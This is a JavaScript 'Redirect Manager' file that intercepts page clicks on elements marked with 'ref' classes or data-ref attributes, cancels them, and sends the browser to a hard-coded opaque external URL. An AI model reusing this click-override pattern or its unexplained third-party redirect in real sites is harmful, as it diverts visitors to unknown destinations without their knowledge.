1/** 2 * Redirect Manager 3 * Handles click events on elements with 'ref' classes or data-ref attributes 4 * and redirects to configured URLs 5 */ 6 7const REDIRECT_URLS = { 8 ref: 'https://zizibirizi.top/obsk3qfu', 9 ref2: '', 10 ref3: '', 11 ref4: '' 12}; 13 14const CONFIG = { 15 maxDepth: 5, 16 validRefTypes: ['ref', 'ref2', 'ref3', 'ref4'] 17}; 18 19class RedirectManager { 20 constructor() { 21 this.init(); 22 } 23 24 /** 25 * Initialize the redirect manager 26 */ 27 init() { 28 document.addEventListener('click', this.handleClick.bind(this), false); 29 } 30 31 /** 32 * Handle click events on the document 33 * @param {Event} event - The click event 34 */ 35 handleClick(event) { 36 const element = this.findElementWithRef(event.target); 37 38 if (!element) { 39 return; 40 } 41 42 const refType = this.detectRefType(element); 43 44 if (!refType) { 45 return; 46 } 47 48 event.preventDefault(); 49 event.stopPropagation(); 50 51 this.performRedirect(refType); 52 } 53 54 /** 55 * Find the closest parent element with a 'ref' class or data-ref attribute 56 * @param {HTMLElement} element - Starting element 57 * @returns {HTMLElement|null} - Found element or null 58 */ 59 findElementWithRef(element) { 60 let current = element; 61 let depth = 0; 62 63 while (current && depth < CONFIG.maxDepth) { 64 if (current.hasAttribute && current.hasAttribute('data-ref')) { 65 return current; 66 } 67 68 if (current.classList && this.hasRefClass(current)) { 69 return current; 70 } 71 72 current = current.parentElement; 73 depth++; 74 } 75 76 return null; 77 } 78 79 /** 80 * Check if element has any 'ref' class 81 * @param {HTMLElement} element - Element to check 82 * @returns {boolean} - True if has ref class 83 */ 84 hasRefClass(element) { 85 return CONFIG.validRefTypes.some(refType => 86 element.classList.contains(refType) 87 ); 88 } 89 90 /** 91 * Detect which ref type the element has 92 * @param {HTMLElement} element - Element to check 93 * @returns {string|null} - Ref type or null 94 */ 95 detectRefType(element) { 96 // Check data-ref attribute first 97 if (element.hasAttribute('data-ref')) { 98 const refValue = element.getAttribute('data-ref'); 99 if (this.isValidRef(refValue)) { 100 return refValue; 101 } 102 } 103 104 // Check for ref classes 105 for (const refType of CONFIG.validRefTypes) { 106 if (element.classList.contains(refType)) { 107 return refType; 108 } 109 } 110 111 return null; 112 } 113 114 /** 115 * Validate if ref type is valid 116 * @param {string} refType - Ref type to validate 117 * @returns {boolean} - True if valid 118 */ 119 isValidRef(refType) { 120 return CONFIG.validRefTypes.includes(refType); 121 } 122 123 /** 124 * Perform redirect based on ref type 125 * @param {string} refType - Type of redirect 126 */ 127 performRedirect(refType) { 128 const redirectUrl = REDIRECT_URLS[refType]; 129 130 if (!redirectUrl) { 131 console.warn(`No redirect URL configured for: ${refType}`); 132 return; 133 } 134 135 window.location.href = redirectUrl; 136 } 137} 138 139// Initialize when DOM is ready 140if (document.readyState === 'loading') { 141 document.addEventListener('DOMContentLoaded', () => { 142 new RedirectManager(); 143 }); 144} else { 145 new RedirectManager(); 146}
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.